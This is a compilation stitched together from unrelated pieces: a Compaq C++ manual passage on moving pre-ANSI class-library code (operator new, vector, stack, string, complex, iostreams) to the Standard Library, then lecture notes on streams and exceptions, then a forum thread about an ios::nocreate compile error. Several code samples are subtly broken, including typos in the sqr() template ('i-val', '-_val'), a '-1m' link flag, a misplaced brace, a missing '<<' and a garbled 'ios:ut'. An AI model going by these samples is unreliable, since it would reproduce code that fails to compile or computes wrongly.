The following examples show how ANSI versus pre-ANSI new() check for memory allocation. First, here is an ANSI new() check for memory allocation failure:
try {
myobjptr = new (myobj);
}
catch (std::bad_alloc e) {
cout << e.what() << endl;
};
The following example shows a pre-ANSI new() check for memory allocation failure:
if ((myobjptr = new (myobj)) == 0)
call_failure_routine();
When upgrading pre-ANSI new() code to work with the C++ Standard Library you also can use the nothrow version of ANSI new() . To do so in the pre-ANSI example, you could recode it as follows:
if ((myobjptr = new (myobj, nothrow)) == 0)
call_failure_routine();
Two command line switches are available in the compiler to control whether calls are generated to the ANSI or pre-ANSI implementation of operator new() . Use the -stdnew switch to generate calls to the ANSI new() implementation. Use the -nostdnew switch to generate calls to the pre-ANSI new() implementation.
You can override global new() by declaring your own functions.
When compiling with -std ansi , -std strict_ansi , and -std strict_ansi_errors , -stdnew is the default. When compiling with -std arm , -std cfront , gnu , and -std ms , -nostdnew is the default. The compiler defines the macro __STDNEW when the -stdnew option is specified.
7.1.4 Overriding operator new()
If you want to define a global operator new() to displace the version used by the C++ Standard Library or C++ Class Library, follow these steps:
Define a module that will contain two entry points for your version of global operator new() : one for the Standard Library and one for the Class Library.
When you link with this module, your version of the global operator new() displaces the version used by either the C++ Standard Library or C++ Class Library.
Decide whether you want to compile the module using the -stdnew or the -nostdnew option. You must always use the same option when compiling the module.
Code the module for the compilation method you have chosen, as follows:
For module to be compiled with -stdnew
Include two entry points for your version of global operator new() :
__7__nw__FUl ( -model ansi ) or __nw__XUl ( -model arm ), which is used to override global operator new() in the Class Library. This entry point has the name generated by the Class Library version of global
operator new() , which is the mangled name used in the Class Library.
new , which is used to override global operator new() in the Standard Library. This entry point has the name generated by the Standard Library version of global operator new() .
Define global operator new() in terms of the entry point new . The __7__nw__FUl ( -model ansi ) or __nw__XUl ( -model arm ) version is declared with extern C and simply calls the first version. Your module will contain two routines similar to the following:
#include <new>
...
// Redefine global operator new(),
// entry point into C++ Standard Library.
// Also override user calls to operator new()
void *operator new(size_t size) throw(std::bad_alloc) {
printf("in my global new\n");
...
}
// Entry point into C++ Class Library
#ifdef __MODEL_ANSI
extern "C" void *__7__nw__FUl(size_t size) {
#else //__MODEL_ARM
extern "C" void *__nw__XUl(size_t size) {
#endif
return ::operator new(size);
}
For module to be compiled with -nostdnew
Include two entry points for your version of global operator new() :
__7__stdnw__FUl ( -model ansi ) or __stdnw__XUl ( -model arm ), which is used to override global operator new() in the Standard Library. This entry point has the name generated by the Standard Library version of global operator new() , which is the mangled name used in the Standard Library.
new , which is used to override global operator new() in the Class Library. This entry point has the name generated by the Class Library version of global operator new() .
Define global operator new in terms of the entry point new . The __7__stdnw__FUl ( -model ansi ) or __stdnw__XUl ( -model arm ) version is declared with extern C and simply calls the first version. Your module will contain two routines similar to the following:
#include <new>
...
// Redefine global operator new(),
// entry point into C++ Class Library.
// Also override user calls to operator new().
void *operator new(size_t size) {
printf("in my global new\n");
...
}
// Entry point into C++ Standard Library
#ifdef __MODEL_ANSI
extern "C" void *__7__stdnw__FUl(size_t size) {
#else //__MODEL_ARM
extern "C" void *__stdnw__XUl(size_t size) {
#endif
return ::operator new(size);
}
7.1.5 Support for Global array new and delete Operators
Compaq C++ Version 6.n fully supports the array new and delete operators as described in the ANSI standard. Previous versions did not. You might therefore encounter a compatibility problem if you have overridden the run-time library's operator new() with your own version.
For example:
#include <stdlib.h>
#include <iostream.h>
inline void* operator new(size_t s) {
cout << "called my operator new" << endl;
return 0;
}
int main() {
new int; // ok, this still calls your own
new int[4]; // In V6.0 calls the C++ library's operator new[]
return EXIT_SUCCESS;
}
In older versions, both new int and new int[4] would generate a call to operator new() (they would just be asking for different sizes). With the current compiler, new int still generates a call to operator new() . However, new int[4] generates a call to operator new()[] . This means that if you still want to override the library's operator new you must do one of the following:
Provide your own definition of operator new()[] .
Use the -noglobal_array_new switch.
The -noglobal_array_new switch converts all expressions such as new int[4] to calls to the global operator new() , thus preserving compatibility with older compiler versions.
This switch has no effect on class-specific array operator new and delete ; it affects only the global operators.
When compiling with -std ansi , -std strict_ansi , -std strict_ansi_errors , and -std ms modes , -global_array_new is the default. When compiling with -std arm or -std cfront modes, -noglobal_array_new is the default. A macro __GLOBAL_ARRAY_NEW is predefined by the compiler when -global_array_new is used.
7.2 How to Build Programs Using the C++ Standard Library
When you use the cxx command to compile and link programs that use the C++ Standard Library, no special switches are required. The Compaq C++ driver automatically includes the Standard Library run-time support ( -lcxxstd ) on the link command, and automatic template instantiation ( -pt ) is the default mode.
For example, to build a program called prog.cxx that uses the Standard Library, you can simply use the following command:
cxx prog.cxx
[Tru64] Thread Safety
--------------------------------------------------------------------------------
The Standard Library provided with this release is thread safe but not thread reentrant. Thread safe means that all library internal and global data is protected from simultaneous access by multiple threads. In this way, internal buffers as well as global data like cin and cout are protected during each individual library operation. Users, however, are responsible for protecting their own objects.
According to the C++ standard, results of recursive initialization are undefined. To guarantee thread safety, the compiler inserts code to implement a spinlock if another thread is initializing local static data. If recursive initialization occurs, the code deadlocks even if threads are not used.
[Linux] Thread Safety
--------------------------------------------------------------------------------
The Standard Library provided with Compaq C++ for Linux Alpha is not thread safe.
7.3 Optional Switch to Control Buffering
The inplace_merge , stable_sort , and stable_partition algorithms require the use of a temporary buffer. Two methods are available for allocating this buffer:
Preallocate 16K bytes of space on the stack.
Allocate the required amount of storage dynamically.
By default, the current library makes use of the preallocated buffer, which avoids the overhead of run-time allocation. If your application requires a buffer that exceeds 16K, it can not take advantage of this default.
If you are concerned with minimizing the use of stack space in your program, or if your application requires a buffer that exceeds 16K, define the __DEC_DYN_ALLOC macro to enable dynamic buffering. Do this by adding the following to your compile command line:
-D__DEC_DYN_ALLOC
7.4 Enhanced Compile-time Performance of ANSI Iostreams
To speed up the compile-time performance of programs that use the standard iostream and locale components, many common template instantiations of these components have been included in the Standard Library.
To force programs to create instantiations at compile-time (for example, if you want to debug them and thus need them to be compiled with the -gall option ), define the macro __FORCE_INSTANTIATIONS on the command line. This definition suppresses the #pragma do_not_instantiate directives in the headers so that the compiler creates the instantiations in your repository directory.
You must then specify the -nopreinst option to force the compiler to link your instantiations instead of those in the Standard Library.
7.5 Upgrading from the Class Library to the Version 6.n Standard Library
The following discussion guides you through upgrading the Class Library code to use the Standard Library, specifically replacing the vector and stack classes in the vector.hxx header file to the Standard Library vector and stack classes.
7.5.1 Upgrading from the Class Library Vector to the Standard Library Vector
To change your code from using the Class Library vector to the Standard Library vector, consider the following actions:
Change the name of your #include statement from <vector.h> or <vector.hxx> to <vector> .
Remove the vectordeclare and vectorimplement declarations from your code.
Change all vector(type) declarations to vector<type> . For example, vector(int) vi should become vector<int> vi .
Note that the following member functions are replaced in the Standard Library: Nonstandard Vector Function Standard Library Vector Function
elem(int index) operator[](size_t index)
(no bounds checking)
operator[](int index) at(size_t index)
(bounds checking)
setsize(int newsize) resize(size_t newsize)
When copying vectors of unequal lengths, note that the Standard Library vector has a different behavior as follows:
When using the Standard Library vector, if the target vector is smaller than the source vector, the target vector automatically increases to accommodate the additional elements.
The Class Library vector displays an error and aborts when this situation occurs.
Another difference in behavior occurs when you specify a negative index for a vector.
The Class Library vector class detects the negative specification and issues an error message. However, the Standard Library vector silently converts the negative value to a large positive value, because indices are represented as type size_t (unsigned long) rather than int .
When an out-of-bounds error occurs, the Class Library vector prints an error message and aborts, whereas the Standard Library vector throws an out-of-range object.
7.5.2 Upgrading from the Class Library Stack to the Standard Library Stack
To change your code from using the existing stack to the Standard Library stack, consider the following actions:
Change the name of your #include statement from <stack.h> or <stack.hxx> to <stack> .
Remove the stackdeclare and stackimplement declarations from your code.
Change all stack(type) declarations to stack<type, deque<type> > . For example, stack(int) si should become stack<int, deque<int> > si .
Do not specify an initial size for a Standard Library stack. The stack must start out empty and grow dynamically (as you push and pop).
The following member functions are not supported or have different semantics: Class Library Stack Standard Library Stack
size_used() Does not exist because the size() function always is equal to the size_used() function.
full() Does not exist because the stack always is full.
pop() Does not return the popped element. To simulate Class Library behavior, first obtain the element as the return type from the top() function and then call the pop() function. For example, change int i=s.pop(); to the following:
int i=s.top();
s.pop();
The Standard Library stack differs from the Class Library stack in the way errors are detected. Unlike the nonstandard stack, you cannot overflow a Standard Library stack because space is allocated dynamically as you push elements onto the stack.
7.5.3 Upgrading from the Class Library String Package Code
The Standard Library basic_string can replace the Class Library String Package.
The following list guides you through upgrading nonstandard code to use the Standard Library basic_string :
Change #include <string.h> or #include <string.hxx> to #include <string> .
Change all declarations of String to string (uppercase S to lowercase s).
The String Package allowed assignment of a string directly to a char * ; however, the basic_string library does not allow this. You can assign the string's const char* representation using the c_str() or data() basic_string member functions. For example:
string s("abc");
char* cp = s; // not allowed
const char* cp = s.data(); // ok
The state of the string is undefined if the result of data() is cast to a non- const char* and then the value of that char* is changed.
The String Package member functions upper() and lower() are not in the basic_string library. You can write these functions as nonmember functions, as follows:
template <class charT, class traits, class Allocator>
inline
basic_string<charT, traits, Allocator>
upper(const basic_string<charT,traits, Allocator>& str) {
basic_string<charT, traits, Allocator> newstr(str);
for (size_t index = 0; index < str.length(); index++)
if (islower(str[index]))
newstr[index] = toupper(str[index]);
return newstr;
}
template <class charT, class traits, class Allocator>
inline
basic_string<charT, traits, Allocator>
lower(const basic_string<charT,traits, Allocator>& str) {
basic_string<charT, traits, Allocator> newstr(str);
for (size_t index = 0; index < str.length(); index++)
if (isupper(str[index]))
newstr[index] = tolower(str[index]);
return newstr;
}
Then instead of calling upper() and lower() as member functions of the basic_string , pass the string as an argument. For example:
s2 = s1.upper(); // does not compile
s2 = upper(s1); // ok
The String Package match() member function does not exist. Equivalent functionality exists in the Standard Library algorithm mismatch() , although using it is more complicated. For example:
string s1("abcdef");
string s2("abcdgf");
assert(s1.match(s2)==4); // does not compile
pair<string::iterator,string::iterator> p(0,0); // ok
p=mismatch(s1.begin(),s1.end(),s2.begin());
assert(p.first-s1.begin()==4);
string s3 = s1;
p=mismatch(s1.begin(),s1.end(),s3.begin());
assert(p.first == s1.end()); // everything matched
The String Package index() member function does not exist. The basic_string library equivalent is find() .
The String Package constructor that takes two positional parameters (a start and end position) and constructs a new string does not exist. It is replaced in the basic_string library with the member function substr() . For example:
string s1("abcde");
string s2 = s1(1,3); // does not compile
string s2 = s1.substr(1,3); // ok
Many previously undetected run-time errors now throw standard exceptions in the String library.
7.5.4 Upgrading from the Class Library Complex to the ANSI Complex Class
This section explains how to upgrade from the pre-ANSI complex library to the current standard complex library.
In the pre-ANSI library, complex objects are not templatized. In the ANSI library, complex objects are templatized on the type of the real and imaginary parts. The pre-ANSI library assumes the type is double, whereas the ANSI library provides specializations for float, double, and long double as well as allowing users to specialize on their own floating point types.
Mathematical error checking is not supported in the ANSI library. Users who rely on detection of underflow, overflow, and divide by zero should continue using the pre-ANSI complex library.
The following is a detailed list of important changes:
Change #include <complex.h> or #include <complex.hxx> to #include <complex> .
Change all declarations of complex to complex<double> , for example:
complex c;
Change to:
complex<double> c;
The polar() function no longer supplies a default value of 0 for the second argument. Users will have to explicitly add it to any calls that have only one argument, for example:
complex c;
c = polar(c); // get polar
Change to:
complex<double> c;
c = polar(c,0.0);
If you are calling a mathematical function or mathematical operator that takes scalars as arguments ( polar() for example), then you must adjust the arguments you pass in to be the same type as the complex template parameter type. For example, you would have to change:
complex c = polar(0,0);
complex c2 = c+1;
Change to:
complex<double> c = polar(0.0,0.0); // 0.0 is double
complex<double> c2= c + 1.0; // 1.0 is double
The complex_zero variable is not declared in the complex header file. If you want to use it, you will have to declare it yourself. For example, add the following to the top of your source file:
static const complex<double> complex_zero(0.0,0.0);
The sqr() and arg1() functions do not exist. If you want to continue to use them, you should define them in one of your own headers, using the following definitions:
template <class T>
inline complex<T> sqr(const complex<T>& a)
{
T r_val(real(a));
T i_val(imag(a));
return complex<T>
(r_val * r_val -
i-val * i_val,
2 * r_val * -_val);
}
template <class T>
inline T arg1(const complex<T>& a)
{
T val = arg(a);
if(val > -M_PI && val <= M_PI)
return val;
if(val > M_PI)
return val - (2*M_PI);
// val <= -PI
return val + (2*M_PI);
}
The pow(complex, int) function is no longer provided. You must use pow(complex<double>, double) . This means changing calls such as:
pow(c,1);
to:
pow(c,1.0);
This might yield different results. If the function previously was underflowing or overflowing, it might not continue to happen.
The complex output operator (<<) does not insert a space between the comma and the imaginary part. If you want the space, you would need to print the real and imaginary parts separately, adding your own comma and space; that is:
complex<double> c;
cout << "(" << c.real() << ", " << c.imag() << ")"; // add extra space
The complex input operator (>>) does not raise an Objection if bad input is detected; it instead sets input stream's state to ios::failbit .
Floating point overflow, underflow, and divide by zero do not set errno and will cause undefined behavior. Complex error checking and error notification are planned in a subsequent release.
You should no longer need to link your program explicitly with the complex library. It is automatically linked in as part of the Standard Library. However, you must still explicitly link in the C math library, as shown in the following example:
#include <stdlib.h>
#include <complex>
int main() {
complex<double> c1(1,1), c2(3.14,3.14);
cout << "c2/c1: " << c2/c1 << endl;
return EXIT_SUCCESS;
% cxx example.cxx #error
% cxx example.cxx -1m #okay
}
7.5.5 Upgrading from the Pre-ANSI iostream library to the Standard Library
This section explains how to upgrade from the pre-ANSI iostream library to the ANSI iostream library. In this section, pre-ANSI iostream refers to versions of the iostream library found in the Class Library; ANSI iostream refers to versions found in the Standard Library.
There are a number of differences between the pre-ANSI and ANSI iostream library. One major difference between the pre-ANSI and ANSI iostream library is that the ANSI library is templatized on the object input/output on which operations are being performed. In the pre-ANSI library, iostreams has no templates. The ANSI library also provides specializations for char and wchar_t .
Important differences are as follows:
With the current compiler, you access the pre-ANSI iostream library by default in non strict_ansi compiler modes. You can control the version of iostreams you use with the __USE_STD_IOSTREAM and __NO_USE_STD_IOSTREAM macros. If you want to use the ANSI iostream library, do either of the following:
-D__USE_STD_IOSTREAM on the command line.
#define __USE_STD_IOSTREAM in your source file before any include files.
Header names are different in the ANSI library, so to use ANSI iostreams, change the iostreams headers you include as follows: From To
#include <iostream.h>
#include <iostream.hxx> #include <iostream>
#include <fstream.h>
#include <fstream.hxx> #include <fstream>
#include <strstream.h>
#include <strstream.hxx> #include <strstream>
#include <iomanip.h>
#include <iomanip.hxx> #include <iomanip>
All Standard Library names in the ANSI iostream library are in namespace std . Typically you would qualify each Standard Library name with std:: or put using namespace std; at the top of your source file.
To facilitate upgrading in all but strict_ansi and strict_ansi_errors mode, using namespace std; is set by default. In strict_ansi or strict_ansi_errors modes, after including an ANSI iostream header, you must qualify each name inside namespace std individually or do
using namespace std;
In the pre-ANSI iostream library, including <iomanip.h> or <strstream.h> gave you access to cout , cin , and cerr . To access the predefined streams with the ANSI iostream library, make the following changes: change
#include <iomanip.h>
to
#include <iomanip>
#include <iostream>
using namespace std; change
#include <strstream.h>
to
#include <strstream>
#include <iostream>
using namespace std;
The istream::ipfx , istream::isfx , ostream::opfx , ostream::osfx do not exist in the ANSI iostreams. Their functionality is provided by the sentry class found in basic_istream and basic_ostream , respectively.
Common prefix code is provided by the sentry's constructor. Common suffix code is provided by the sentry's destructor. As a result, calls to ipfx() , isfx() , opfx() , and osfx() have their functionality replaced by construction and destruction of std::istream::sentry objects and std::ostream::sentry object respectively. For example:
#include <iostream.hxx> | #include <iostream.hxx>
void func (istream &is) | void func (ostream &os)
{ | {
if (is.ipfx()) | if (os.opfx())
... | ...
is.isfx(); | os.osfx();
} | }
|
Would be coded as: | Would be coded as:
|
#include <iostream> | #include <iostream>
void func (istream &is) | void func (ostream &os)
{ | {
istream::sentry ipfx(is); | ostream::sentry opfx(os);
if (ipfx) | if (opfx)
... | ...
//is.isfx(); implicit in dtor | //os.osfx(); implicit in dtor
} | }
The following macros from the pre-ANSI <iomanip.h> are no longer available in <iomanip> :
SMANIP, IMANIP, OMANIP, IOMANIP,
SAPP, IAPP, OAPP, IOAPP,
SMANIPREF, IMANIPREF, OMANIPREF, IOMANIPREF,
SAPPREF, IAPPREF, OAPPREF, IOAPPREF
You can add them yourself, but their use will not be portable.
The streambuf::stossc() function, which advances the get pointer forward by one character in a stream buffer, is not available in the ANSI iostream library. You can make use of the std::streambuf::sbumpc() function to move the get pointer forward one place. This function returns the character it moved past. These two functions are not exactly equivalent---if the get pointer is already beyond the end, stossc() does nothing, and sbumpc() returns EOF.
istream &extract(istream &is)
{
...
is.rdbuf()->stossc();
}
ios::bitalloc() is no longer available in the ANSI iostream library.
The filebuf constructors have changed in the ANSI iostream library. The pre-ANSI filebuf class contained three constructors:
class filebuf : public streambuf
{
filebuf();
filebuf(int fd);
filebuf(int fd, char * p, int len);
...
}
In the ANSI iostream library, filebuf is a typedef for basic_filebuf<char> , and the C++ Working Paper defines one filebuf constructor:
basic_filebuf();
To facilitate backward compatibility, the ANSI iostream library does provide basic_filebuf(int fd) as an extension. However, the use of extensions is not portable.
For example, consider the filebuf constructors in the following pre-ANSI iostream library program:
#include <fstream.hxx>
int main () {
int fd = 1;
const int BUFLEN = 1024;
char buf [BUFLEN];
filebuf fb(fd,buf,BUFLEN);
filebuf fb1(fd);
return 0;
}
To be strictly ANSI conforming, you would need to recode as follows:
filebuf fb(fd,buf,BUFLEN); as filebuf fb(); and
filebuf fb1(fd); as filebuf fb1();
If you want to make use of the ANSI iostream filebuf(fd) extension, you could recode:
filebuf fb(fd,buf,BUFLEN); as filebuf fb(fd); and
filebuf fb1(fd); as filebuf fb1(fd);
The ANSI iostream library contains support for the filebuf::fd() function, which returns the file descriptor for the filebuf object and EOF if the filebuf object is closed as a nonportable extension.
This function is not supported under the -std strict_ansi or -std strict_ansi_errors compiler modes.
The following functions are not defined in the ISO/ANSI Standard. They are provided in the standard iostream library for backward compatibility only. Their use is not portable.
ifstream::ifstream(int fd);
ifstream::ifstream(int fd, char *p, int len)
ofstream::ofstream(int fd);
ofstream::ofstream(int fd, char *p, int len);
fstream::fstream(int fd);
fstream::fstream(int fd, char *p, int len);
The following attach functions, which attach, respectively, a filebuf , fstream , ofstream , and ifstream to a file are not available in the ANSI iostream library:
filebuf::attach(int);
fstream::attach(int);
ifstream::attach(int);
ofstream::attach(int);
If you do not want to make use of ANSI iostream library extensions, you must recode the use of attach as follows:
From:
#include <fstream.hxx>
#include <stdio.h>
#include <fcntl.h>
int main () {
int fd;
fd = open("t27.in",O_RDWR | O_CREAT, 0644);
ifstream ifs;
ifs.attach(fd);
fd = creat("t28.out",0644);
ofstream of;
of.attach(fd);
return 0;
}
To:
#include <fstream>
int main () {
ifstream ifs("t27.in", ios::in | ios::out);
ofstream ofs("t28.out");
return 0;
}
The ios enumerators for controlling the opening of files, ios::nocreate and ios::noreplace , are not available in the ANSI iostream library.
The istream_withassign and ostream_withassign classes are not available in the ANSI iostream library.
In the ANSI iostream library ios_base::width() applies to all formatted inserters including operator << (char) . This means that the stream width specified by either the manipulator setw() or the ios_base::width() member function will apply padding to the next output item even if it is a char.
This was not the case in the pre-ANSI iostream library, where width() applied to all formatted inserters except the char inserter. The reasons for the change (to allow ostream::operator<<(char) to do formatting) are:
It allows operator<< functions to do formatting consistently.
It allows operator<<(char) and put(char) (formatted and unformatted operations on char ) to have different functionality.
Consider the following example:
#ifdef __USE_STD_IOSTREAM
# include <iostream>
# include <iomanip>
#else
# include <iostream.hxx>
# include <iomanip.hxx>
#endif
int main () {
cout.width(10);
cout.fill('^');
cout << 'x' << '\n';
cout << '[' << setw(10) << 'x' << ']' << endl;
return 0;
}
In the ANSI iostream library the output is:
^^^^^^^^^x
[^^^^^^^^^x]
In the pre-ANSI iostream library the output is:
x
[x]^^^^^^^^^
In the pre-ANSI iostream library, printing signed char * or a unsigned char * printed the address of the string. In the ANSI iostream library the string is printed. Consider the following example:
#ifdef __USE_STD_IOSTREAM
#include <iostream>
#else
#include <iostream.hxx>
#endif
int main () {
char * cs = (char *) "Hello";
signed char *ss = (signed char *) "world";
unsigned char *us = (unsigned char *) "again";
cout << cs << " " << ss << " " << us << endl;
return 0;
}
The output in the ANSI iostream library is:
Hello world again
The output in the pre-ANSI iostream library is:
Hello 0x120001748 0x120001740
To obtain output equivalent to the pre-ANSI iostreams, you might do the following:
cout << hex << showbase << (long) ss << " " << (long) us << endl;
In the pre-ANSI iostream library printing a signed char prints its integer value. In the ANSI iostream library printing a signed char prints it as a character. Consider the following example:
#ifdef __USE_STD_IOSTREAM
#include <iostream>
#else
#include <iostream.hxx>
#endif
int main () {
signed char c = (signed char) 'c';
cout << c << endl;
return 0;
}
The output in the ANSI iostream library is:
c
The output in the pre-ANSI iostream library is:
99
To obtain output equivalent to the pre-ANSI iostreams, you must do the following:
cout << (long) c << endl;
In the ANSI iostream library, reading invalid floating point input (where invalid input is caused by no digits following the letter e or E and an optional sign) from a stream sets failbit to flag this error state. In the pre-ANSI iostream library, these type of error conditions might not be detected. Consider this program fragment:
double i;
cin >> i;
cout << cin.rdstate() << ' ' << i << endl;
On the input: 123123e
The output in the ANSI iostream library is:
4 2.65261e-314 // failbit set
The output in the pre-ANSI iostream library is:
0 123123 // failbit not set
In the ANSI iostream library, reading integer input (which is truncated as the result of a conversion operation) from a stream sets failbit to flag this overflow condition. In the pre-ANSI iostreams library, these types of conditions might not be detected. Consider this program fragment:
int i;
cin >> i;
cout << cin.rdstate() << ' ' << i << endl;
On the input: 9999999999999999
The output in the ANSI iostream library is:
4 1874919423 // failbit set
The output in the pre-ANSI iostream library is:
0 1874919423 // goodbit set
In the ANSI iostream library, reading -0 from a stream into an unsigned int outputs 0; this was not the case with the pre-ANSI iostream library. Consider the following:
unsigned int ui;
cin >> ui;
cout << cin.rdstate() << ' ' << ui << endl;
On the input: -0
The output in the ANSI iostream library is:
0 0
In the ANSI iostream library, the istream::getline(s,n); function extracts characters and stores them into successive locations of an array whose first element is designated by s. If fewer than n characters are input, failbit is set. This was not the case in the pre-ANSI iostream library. Consider the following:
#include <stdlib.h>
int main()
{
char buffer[10];
cin.getline (buffer,10);
cout << cin.rdstate() << ' ' << buffer << endl;
return EXIT_SUCCESS;
}
With input of: 1234567890
The output in the ANSI iostream library is:
4 123456789
The output in the pre-ANSI iostream library is:
0 123456789
When printing addresses, the ANSI library does not print a leading "0x" to indicate a hexadecimal base. The pre-ANSI library did. Consider the following:
#include <stdlib.h>
#include <iostream>
int main()
{
double d;
int i;
void *p = (void *) &d;
int *pi = &i;
cout << (void *) 0 << ' ' << p << ' ' pi << endl;
return EXIT_SUCCESS;
}
The output in the ANSI iostream library is:
0 11fffe7a0 11fffe798
The output in the pre-ANSI iostream library is:
0x0 0x11fffdc40 0x11fffdc38
basic_filebuf::setbuf is a protected member function in the ANSI iostream library. Therefore, the following no longer compiles:
#include <stdlib.h>
int main() {
filebuf fb;
...
fb.setbuf(0,0);
return EXIT_SUCCESS;
}
Agenda
Preprocessors
Abstract Container Classes
I/O streams
Exceptions
Streams
We have already seen the standard I/O objects cin, cout and cerr.
The I/O stream library consists of a number of related classes including
Basic I/O: ios, istream, ostream, and iostream
File I/O: ifstream, ofstream, and fstream.
In memory I/O: istrstream, ostrstream, and strstream.
These classes form a hierarchy, building more powerful classes from basic ones. Standard I/O is handled by iostream built on top of istream and ostream classes, which in turn depends on the fundamental ios class. Then, file and string I/O are built on top of the standard I/O facilities.
Opening and closing a file.
I/O objects are connected with specific files with the following.
ifstream myin(filename, ios::in); //for input
ofstream myout(filename, ios::out); //for output
ofstream myout(filename, ios::app); //to append at end
fstream myio(filename, ios::in | ios::out) //for input & output
We can also establish a file I/O without it being attached to any file. The open member function is used to later attach an object to a file
Example,
ifstream anyin; //file input object
anyin.open(filename); //attach to filename
if( !anyin) //open failed?
…
…
anyfile.close();
I/O operators << and >>
The operators << and >> are overloaded to serve as output and input operators respectively. A simple way to perform output is with:
cout<< var;
anyout << var;
Similarly input can be done with:
cin>> c;
anyin>> c;
Several built-in member functions for I/O can be used to perform I/O on characters, whole line or sequence of bytes,etc.
e.g.
obj.put(char c)
obj.get(char& c);
int c = obj.get()
obj,read /write ….
fstream Prototype:
fstream();
fstream( const char* szName, int nMode, int nProt = filebuf::openprot );
nMode File mode
ios::app: The function performs a seek to the end of file. When new bytes are written to the file, they are always appended to the end, even if the position is moved with the ostream::seekp function.
ios::ate: The function performs a seek to the end of file. When the first new byte is written to the file, it is appended to the end, but when subsequent bytes are written, they are written to the current position.
ios::in: The file is opened for input. The original file (if it exists) will not be truncated.
ios::out: The file is opened for output.
ios::trunc: If the file already exists, its contents are discarded. This mode is implied if ios::out is specified, and ios::ate, ios::app, and ios:in are not specified.
ios::nocreate: If the file does not already exist, the function fails.
ios::noreplace: If the file already exists, the function fails.
ios::binary: Opens the file in binary mode (the default is text mode).
nProt The file protection specification
Defaults to the static integer filebuf::openprot, which is equivalent to the operating system default, filebuf::sh_compat, under MS-DOS. The possible nProt values are as follows:
filebuf::sh_compat Compatibility share mode (MS-DOS only).
filebuf::sh_none Exclusive mode — no sharing.
filebuf::sh_read Read sharing allowed.
filebuf::sh_write Write sharing allowed.
The filebuf::sh_read and filebuf::sh_write modes can be combined with the logical OR ( || ) operator.
Exceptions
The exception handling in C++ provides a facility by which a function can notify its callers of an exception condition and select appropriate code to deal with the situation. This provides an alternative mechanism to the conventional method of checking error status return codes at every function call return site.
Since C++ is object-oriented, objects are employed to represent the Exception State, and the appropriate handler is selected based upon the static or dynamic type of exception objects "thrown".
There are two types of exception:
System-defined exceptions: e.g.
User-defined exceptions
General form –
try{
…//try block code
}
catch( exceptiontype1 x){
//exception handling 1
}
catch( exceptiontype2 y){
//exception handling 2
}
catch(…){
//all other exceptions handled by this "catch-all" handler
}
…
Also, since C++ always ensures that frame (local) objects that are going out of scope are properly destroyed, implementations must ensure that in transferring control (unwinding the stack frame) from throw site to "catch" site, frame objects are properly destroyed.
The order of exceptions is significant.
e.g.
class X { X( );}; //exception object class
class Z { Z( ); ~Z( ););
extern void recover(const X&);
void f(int), g(int);
int main( ){
try{
f(0);
} catch( const X& rx) {
recover (rx);
}
}
void f(int j ) {
Z z1;
g( j );
Z z2;
g (j-1);
}
void g(int j) {
if (j< 0)
throw X( );
}
This program will throw an exception. Main( ) establishes an exception handler context for its call f(0), which in turn constructs z1, calls g(0), constructs z2, and calls g(-1).
g( ) detects the negative argument and throws an X object exception. Since neither g( ) nor f( ) established an exception handler context, you will consider whether the exception handler established by main( ) can handle an X object exception.
Before control is transferred to the catch clause in main( ), however, objects on the frame between the throw site in g( ) and the catch site in main( ) must be destroyed. In this case therefore z2 and z1 are destroyed.
class MyException
{
public:
virtual int getId ()
{ return 0; }
virtual char* getMessage ()
{ return "An exception of the base type is thrown"; }
};
class MyException1: public MyException
{
public:
int getId ()
{
return 1;
}
char* getMessage ()
{
return "An exception of type 1 is thrown";
}
};
class MyException2: public MyException
{
public:
int getId ()
{ return 2; }
char* getMessage ()
{ return "An exception of type 2 is thrown"; }
};
class MyObject
{
public:
void foo (int iArg){
if (iArg < 0)
throw MyException1();
if (iArg == 0)
throw MyException2();
if (iArg == 1)
*str = 'b';
return;
}
MyObject ()
{ str = NULL; }
private:
char* str;
};
#include <iostream.h>
#include "Exceptions.h"
int main ()
{
MyObject a;
try
{
a.foo (1);
}
catch (MyException1& iException)
{
cout << iException.getId () << iException.getMessage();
}
catch (MyException2& iException)
{
cout << iException.getId () << iException.getMessage();
}
catch (...)
{
cout << "Unknown exception caught";
}
return 0;
}
Hi, All,
Thanks, it works fine now.
I remove " ios::nocreate" from
ifstream inputFile( filename, ios::in | ios::binary |
ios::nocreate );
and add typecast (char *) before (byte *) variable.
Thanks again.
Kind regards,
Daniel
first of all #include <iostream> that should fix your cout problem...according to my book ios::nocreate is not standard, but ios::in will not create and ios::in|ios:ut will not create anyway, so just remove ios::nocreate
But fstream has cout/cin. Your right, iostream did work. But...nevermind, it works right?
Quote:
Originally posted by KneeLess
But fstream has cout/cin. Your right, iostream did work. But...nevermind, it works right?
fstream only has ofstream and ifstream; iostream has cin/cout.
Some of the error messages:
--'cout' : undeclared identifier
--'<<' : illegal, right operand has type 'char [51]'
Code:
while(1)
{
cout << "Are you sure you want to encrypt this file (y/n)? ";
--'nocreate' : is not a member of 'basic_ios<char,struct std::char_traits<char> >'
--'nocreate' : undeclared identifier
Code:
if(!(strcmp(argv[i],"--decrypt")))
{
fstream FileD(argv[1], ios::in | ios::out | ios::nocreate);
It was so much easier using the .h extensions.